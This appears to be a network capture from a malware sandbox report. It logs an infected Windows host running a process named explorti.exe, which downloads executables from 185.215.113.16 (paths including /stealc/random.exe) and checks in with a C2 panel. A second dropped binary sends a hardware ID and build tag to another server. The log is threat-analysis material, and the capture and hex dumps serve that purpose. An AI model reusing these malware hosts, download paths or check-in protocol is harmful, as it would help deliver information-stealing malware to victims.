Jul 27, 2024 03:19:20.688972950 CEST	1224	IN	Data Raw: 83 59 0d cb 55 97 0a 80 4f a4 09 7d 1a 23 45 3d 56 f2 79 36 f6 e7 c4 64 a0 65 0a d5 57 82 62 58 7e 48 e4 4a 27 a3 ce e5 0e 3a b7 d5 0b 55 c5 95 88 97 27 26 b5 b0 18 15 a3 b7 07 72 c3 9b 4a ad 40 44 2d af 85 07 f6 61 7b 9c b9 27 b2 4d 45 a9 b3 4b Data Ascii: YUO}#E=Vy6deWbX~HJ':U'&rJ@D-a{'MEKGzZF<^]4A^^CZPea`WNQuf"@zid+=+aHb;zirfJR5>1aoUsxZmo
Jul 27, 2024 03:19:20.689038992 CEST	1236	IN	Data Raw: 1e ca 09 d2 71 75 f9 2b 7c ba 74 dc bb cd cc d4 b3 4b 8f 88 db 47 8c 94 d5 17 e3 1f 95 d7 d6 8b 53 98 4b 13 80 a1 45 e9 10 b5 13 46 50 d4 22 a2 30 b5 85 7d b3 d1 15 59 89 cc 48 3c 1e fb f3 4c 8b 16 7b 1f 0a c5 f1 2f 6a 8b a5 e1 22 03 6d 64 53 58 Data Ascii: qu+\|tKGSKEFP"0}YH<L{/j"mdSXE0o/. ;b2W_IYv5EV6yB2vvBYN!MNG#8WxYnz18G(\<Dwq6R!3[2fu.OFP+)
Jul 27, 2024 03:19:20.693833113 CEST	1236	IN	Data Raw: 5a b9 fa 1a f7 8b 35 12 8e 8b 25 67 58 eb 46 0f 02 0e 47 19 f1 b7 7d af dc d8 b7 4a a9 ea 4d 9e ed a3 16 a0 6d e4 60 cc 4f 2d 0f 2b 32 41 1f 44 20 33 f4 08 3c 7e 5d dc 23 39 77 e9 b1 62 6f c6 4f 15 d5 43 78 5a f4 b1 b2 3d 18 34 86 e4 38 67 bb c5 Data Ascii: Z5%gXFG}JMm`O-+2AD 3<~]#9wboOCxZ=48g0Sj<e'h@[;Fx3op0E<^yM'%9KS,x]-$ IOAM7SR#h1Ldy1g0NV(<HDQqR:!kh:N!
Jul 27, 2024 03:19:22.660824060 CEST	80	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Jul 27, 2024 03:19:22.901988029 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:22 GMT Content-Type: application/octet-stream Content-Length: 1931776 Last-Modified: Sat, 27 Jul 2024 00:39:53 GMT Connection: keep-alive ETag: "66a441d9-1d7a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@fpL@L}@Wk\LD\L @.rsrc@.idata @ P+@yhecmkmx`2`@vkijaizt`LT@.taggant0pL"X@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49722	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:33.135438919 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 03:19:33.879991055 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 03:19:33.881469965 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 38 37 35 42 33 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A77B12875B35E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 27, 2024 03:19:34.131139040 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 31 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 31 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000016001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000017001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49723	185.215.113.16	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:34.142024040 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 03:19:34.899339914 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:34 GMT Content-Type: application/octet-stream Content-Length: 250368 Last-Modified: Sat, 27 Jul 2024 00:50:14 GMT Connection: keep-alive ETag: "66a44446-3d200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 2c 7f 18 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 e9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 9a 07 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Tgs pQ pd pP t ~i d pU p` pg Rich PEL,ex 0@`Xx\YS@0.textp `.rdata204@@.data.pR@.casiwid.@@.mufu2@.rsrc6@@
Jul 27, 2024 03:19:34.899394989 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 a4 53 42 00 e8 d2 06 00 00 f6 44 24 08 01 74 07 56 e8 f3 0b 00 00 Data Ascii: VSBD$tVY^4U, BE$BV3W{3EEuM(BE?E,BE
Jul 27, 2024 03:19:34.899548054 CEST	1236	IN	Data Raw: c7 45 ec 20 00 00 00 c7 45 f4 02 00 00 00 83 45 f4 03 8b c6 c1 e0 04 03 45 e8 89 45 e0 a1 f4 7e 44 02 3d a9 0f 00 00 75 0a c7 05 f0 7e 44 02 40 2e eb ed 3d eb 03 00 00 75 06 89 0d 7c 79 44 02 8b 45 f0 c1 e8 05 89 45 fc 8b 45 fc 03 45 e4 8b 55 f8 Data Ascii: E EEEE~D=u~D@.=u\|yDEEEEU33E=~D~D=EuQQQQ0BE3+=~DuEPQQQ0Bj0B3EEEUEGaE33E+Mu/{_3^U~DyD
Jul 27, 2024 03:19:34.899764061 CEST	1236	IN	Data Raw: 00 7d 0b 56 56 56 56 56 ff 15 00 30 42 00 56 ff 15 68 30 42 00 ff 15 64 30 42 00 56 ff 15 10 30 42 00 81 ff fe 82 2e 01 7f 09 47 81 ff 1b 01 03 00 7c c8 a1 64 a8 42 00 a3 f4 7e 44 02 e8 89 fc ff ff bf 37 ec 02 00 81 3d f4 7e 44 02 1f 05 00 00 75 Data Ascii: }VVVVV0BVh0Bd0BV0B.G\|dB~D7=~DuVD$PT0BOu_3^U eWjY3}_9Eu;EtVuEuEuEPEEBuMxEEPjYY^
Jul 27, 2024 03:19:34.899796963 CEST	1236	IN	Data Raw: 39 45 14 77 b5 0f af 7d 14 f7 46 0c 0c 01 00 00 89 7d f0 8b df 74 08 8b 46 18 89 45 f4 eb 07 c7 45 f4 00 10 00 00 85 ff 0f 84 da 00 00 00 f7 46 0c 0c 01 00 00 74 44 8b 46 04 85 c0 74 3d 0f 88 f2 00 00 00 8b fb 3b d8 72 02 8b f8 3b 7d fc 0f 87 bb Data Ascii: 9Ew}F}tFEEFtDFt=;r;}W6uuk*)~>}+)}};]r\}t3;vuu+;w;Ew[PuV;YP)t{tdE+)E$V"YtR}t"ME
Jul 27, 2024 03:19:34.899832010 CEST	1236	IN	Data Raw: 15 64 30 42 00 50 e8 d7 11 00 00 59 89 06 eb e2 e8 0f 12 00 00 8b f0 ff 15 64 30 42 00 50 e8 bf 11 00 00 59 89 06 8b c7 eb ca 8b ff 51 c7 01 40 32 42 00 e8 47 2d 00 00 59 c3 8b ff 55 8b ec 56 8b f1 e8 e3 ff ff ff f6 45 08 01 74 07 56 e8 d2 fc ff Data Ascii: d0BPYd0BPYQ@2BG-YUVEtVY^]UE3+]U=HJCu'0up.h&YY]jXhUBEP0B395DuVVjV0BMZf9@tu6<@@PEuf9@ut
Jul 27, 2024 03:19:34.899864912 CEST	1236	IN	Data Raw: 89 85 b8 fd ff ff 89 85 f0 fd ff ff 89 85 cc fd ff ff 89 85 e8 fd ff ff 89 85 d0 fd ff ff 89 85 bc fd ff ff 89 85 c8 fd ff ff e8 6b fe ff ff 85 f6 75 2b e8 18 0d 00 00 c7 00 16 00 00 00 e8 bb 0c 00 00 80 bd b0 fd ff ff 00 74 0a 8b 85 ac fd ff ff Data Ascii: ku+t`pF@u^VY tBtt`DA$utt`D@$q3;g39G
Jul 27, 2024 03:19:34.899904013 CEST	820	IN	Data Raw: fd ff ff 74 30 0f b7 43 fc 50 68 00 02 00 00 8d 85 f4 fd ff ff 50 8d 85 e0 fd ff ff 50 e8 9f 47 00 00 83 c4 10 85 c0 74 1f c7 85 bc fd ff ff 01 00 00 00 eb 13 8a 43 fc 88 85 f4 fd ff ff c7 85 e0 fd ff ff 01 00 00 00 8d 85 f4 fd ff ff 89 85 e4 fd Data Ascii: t0CPhPPGtC/;t;H;t4t+ pBPYpeg4itqnt(o
Jul 27, 2024 03:19:34.899935961 CEST	1236	IN	Data Raw: 06 0f bf 43 fc eb 04 0f b7 43 fc 99 eb 13 8b 43 fc f6 c1 40 74 03 99 eb 02 33 d2 89 9d d8 fd ff ff f6 c1 40 74 1b 85 d2 7f 17 7c 04 85 c0 73 11 f7 d8 83 d2 00 f7 da 81 8d f0 fd ff ff 00 01 00 00 f7 85 f0 fd ff ff 00 90 00 00 8b da 8b f8 75 02 33 Data Ascii: CCC@t3@t\|su3}9~u!ut-RPSWTD09~NE+Ftb
Jul 27, 2024 03:19:34.899969101 CEST	1236	IN	Data Raw: ff 15 d4 30 42 00 85 c0 74 03 5d ff e0 ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 af ff ff ff cc 33 c0 50 50 50 50 50 e8 c7 ff ff ff 83 c4 14 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 28 70 42 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 Data Ascii: 0Bt]uuuuu3PPPPPUE3;(pBtA-rHwjX],pB]DjY;#]$uqB$uqBUVMQY0^]UUVWt}uj^0A3Eu+
Jul 27, 2024 03:19:34.907968998 CEST	1236	IN	Data Raw: de 7c 02 8b de 39 1d 5c 8d 44 02 7d 6b bf 64 8d 44 02 6a 40 6a 20 e8 c5 38 00 00 59 59 85 c0 74 51 83 05 5c 8d 44 02 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a Data Ascii: \|9\D}kdDj@j 8YYtQ\D ;s1H```3f@f@ @/@P;r9\D\|\D3~rEt\tWMtMuP1Bt=4`DEEFhFP1BFEGE;\|3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49724	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:36.161374092 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000016001&unit=246122658369
Jul 27, 2024 03:19:36.927129030 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	185.215.113.16	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:36.936399937 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 27, 2024 03:19:37.681251049 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:37 GMT Content-Type: application/octet-stream Content-Length: 3278336 Last-Modified: Sat, 27 Jul 2024 00:38:28 GMT Connection: keep-alive ETag: "66a44184-320600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 66 41 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 2c 58 af 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELfAf",X@p@ PDL0@@@@@Pb@.rsrcR@@y`(@.data#p"@
Jul 27, 2024 03:19:37.681308031 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e7 7a 85 54 68 77 e8 d2 99 0a dc b8 67 a4 68 4e f9 37 dc eb 05 8c 3c 5a 1c Data Ascii: zThwghN7<Z5<c:P01Z`3*qN$J3-3Sr-2nMbTgFr06\n:-JL.TJ:r{H&q$4cCa2>#!Wu;ZT,T1,
Jul 27, 2024 03:19:37.681364059 CEST	1236	IN	Data Raw: 1a a7 68 1e c8 5a 86 24 0c a7 92 23 6d df d4 53 b9 16 01 2b 88 d8 64 c2 b4 55 60 06 f9 89 32 d5 b1 74 18 b8 f1 7a c5 36 74 b5 86 85 c9 75 c3 a6 77 f3 a2 38 6b 7f 88 da 10 b8 b0 30 84 a9 a0 dc e5 a9 d5 ef c0 d9 d8 fe 1b 8f c2 90 06 66 78 82 e7 83 Data Ascii: hZ$#mS+dU`2tz6tuw8k0fxb5ie?l(!REo-e1Nk({6u\|9</W"rc:~j"Dd@v/.o}#lUCE1xP8_n)ohM!BvhT.<AO"
Jul 27, 2024 03:19:37.681413889 CEST	492	IN	Data Raw: 4c 61 ff 2a 3f 81 13 95 f7 7b df 7e 26 a6 eb 04 1a 97 e4 98 79 66 cc c5 82 c4 78 13 97 ec 5e be 75 b0 90 d0 0e 3e 29 01 96 45 2f 12 ab 25 95 d1 a0 e1 ff c7 80 75 9f 54 a1 16 2d f7 e3 d4 1e d5 d9 09 fb f4 83 3f 85 44 78 34 9b 26 35 e8 ca e7 88 ac Data Ascii: La*?{~&yfx^u>)E/%uT-?Dx4&5rVi;yF,LJBj3s_KUFh3N'$o?$^/4'?+6uD$O5`y4?cg6t&L)~<``+]
Jul 27, 2024 03:19:37.681448936 CEST	1236	IN	Data Raw: 06 85 98 0f 87 d7 5a b0 f0 73 3f 9d a0 da 39 d8 ca 9e 94 3e f8 69 9e 31 c8 7c b6 b5 1d 1d 49 ed 67 d9 e3 ac 90 49 39 ab ef 9f d0 8d e6 c0 ac 4b 9e df ed cd 3e 5d 16 fa 48 a5 05 7b fb 44 8f 88 c3 de c7 7b 48 40 9a bb 3a b0 cd 11 10 07 b9 13 8d 02 Data Ascii: Zs?9>i1\|IgI9K>]H{D{H@:dxv8C8flTu"T>F&zlh2mEoagI2/b}7rSe)tIj%uM%qDz%b[2*^-tBm?EZh
Jul 27, 2024 03:19:37.681483984 CEST	1236	IN	Data Raw: 6c 76 d1 8e fd bd 14 65 2f d6 a6 6a d4 49 d5 95 37 5a 12 41 f9 e2 3f 9b c7 fe 54 e2 e2 5a a7 e2 c3 6b 1c ee fd 1c 8e cc 3f fb fe 3f 87 86 ff ea f4 9e 51 01 5f 35 bb 6e 8f 59 7a 68 88 d3 6d 04 0f da cd 34 f5 54 52 4b 21 15 66 01 37 f8 53 94 ff f8 Data Ascii: lve/jI7ZA?TZk??Q_5nYzhm4TRK!f7SRtujhG"{-GJ'FAXs3;J;AA00c4=xvu~Kin={-D?7GydO~o[1EI2":g,7,hc5%JUES]pn
Jul 27, 2024 03:19:37.681518078 CEST	1236	IN	Data Raw: 39 99 89 ab 9a a9 67 09 f9 80 f2 1f 46 85 28 f4 ad 42 27 33 6a 71 5c 0c c1 20 4e 36 e0 1d fd 1d f2 25 71 c2 6c e2 13 d1 37 8a d8 0b a3 fd 9a d4 85 4c c8 63 5d 26 e6 3f c4 57 98 01 3a 13 cc 50 09 70 46 06 46 ac db bc 2e b2 5c 8d a8 82 38 7f 4b 67 Data Ascii: 9gF(B'3jq\ N6%ql7Lc]&?W:PpFF.\8Kg~(AFF_h:1YJE.O7nT}FWb7[Y8PCeA=o#E3vJ%ooMHf*cuIl3,q+%sl@Bar
Jul 27, 2024 03:19:37.681550026 CEST	1236	IN	Data Raw: 00 5a 22 78 fd d6 ac 4a df 38 30 57 4e 1e 45 67 ce ba 10 13 58 d7 71 60 8c 1d 1f 71 a8 55 ad 9a 93 8a bd b1 31 f7 f4 70 56 25 0b 7b 73 56 1c 1c 5e b7 b3 e9 67 be ac 72 ea 60 36 95 38 80 c6 e3 b4 f6 1f ab 6e f7 45 1f ba 98 72 db cb a1 e4 ff a1 91 Data Ascii: Z"xJ80WNEgXq`qU1pV%{sV^gr`68nErOAdqIW=,g1(lNJr"1vdwmrGJ=m[7#g:Pa;Xc5V)ebqY78X+Jp(2F;0g~t!L*?g
Jul 27, 2024 03:19:37.681582928 CEST	1236	IN	Data Raw: aa f8 fc eb e6 e7 1b d5 5d f3 fb 71 05 7e a7 75 0d e6 2b ce 89 a9 be 26 85 22 64 6d 7f 60 17 de 9c 1d da 37 2f 1d fc 25 c7 3f 79 2f 01 7e eb 65 71 f2 40 17 df e5 ca ed fe b0 66 05 6e fd 90 89 2b 75 00 fb b6 7d d3 b3 f6 77 3e a5 05 fd 26 17 78 b4 Data Ascii: ]q~u+&"dm`7/%?y/~eq@fn+u}w>&xuUMUvtxml}mAq9"` U/;zg .^LR7$PxAQ:BR%>.1gWG<G]4o~g
Jul 27, 2024 03:19:37.681617975 CEST	1236	IN	Data Raw: 34 dc c1 52 26 e1 db be ec 4c ce 32 7e ad 55 5a 07 36 47 f2 17 b9 c0 b0 d8 a1 f2 5a d1 9f 64 4d e8 5e 05 dc 59 2e 5c 1c 26 a3 48 b3 72 f8 7a f3 1a fd d1 18 c0 e3 d2 8b 34 67 b7 33 ca 85 13 1c 1a 5d 54 77 a9 ef 82 c2 fe e5 cc fc 9b 7d 70 c4 61 6d Data Ascii: 4R&L2~UZ6GZdM^Y.\&Hrz4g3]Tw}pamk\|1H-LQ]:+`GX.<]1$KPz 8FQZ\x,W^pB)W)mf\|D*p<G_S{&@SpVII
Jul 27, 2024 03:19:37.686634064 CEST	984	IN	Data Raw: ab fd 57 c8 94 c4 f6 fe 1a 63 17 23 8c c7 d8 af 03 6e ee a8 c6 62 9d 34 a2 5a 87 27 df 68 20 12 ab a4 85 16 35 3a 1f 62 09 e2 cf 2b c9 e8 da 42 d2 fd a7 0e 42 14 91 7a 8f 9d 91 3d 06 07 aa 2a a3 90 23 ff 51 d4 25 14 43 1a 19 2c 6a d5 89 01 ee 1c Data Ascii: Wc#nb4Z'h 5:b+BBz=#Q%C,jC{qkm\|LC.0Ek[}F{oLJcMnXA]zS=9{CgV]ZdIeM%h2~?I*FHz)&BCqEF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49726	85.28.47.31	80	7596	C:\Users\user\AppData\Local\Temp\1000016001\659e6df34d.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:37.272571087 CEST	86	OUT	GET / HTTP/1.1 Host: 85.28.47.31 Connection: Keep-Alive Cache-Control: no-cache
Jul 27, 2024 03:19:37.886759043 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 27, 2024 03:19:37.909539938 CEST	409	OUT	POST /5499d72b3a3e55be.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFH Host: 85.28.47.31 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"sila------JJECGCBGDBKJJKEBFBFH--
Jul 27, 2024 03:19:38.090136051 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 27 Jul 2024 01:19:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49728	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 03:19:41.046657085 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000017001&unit=246122658369
Jul 27, 2024 03:19:41.786894083 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 01:19:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49729	185.215.113.19	80	5564	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
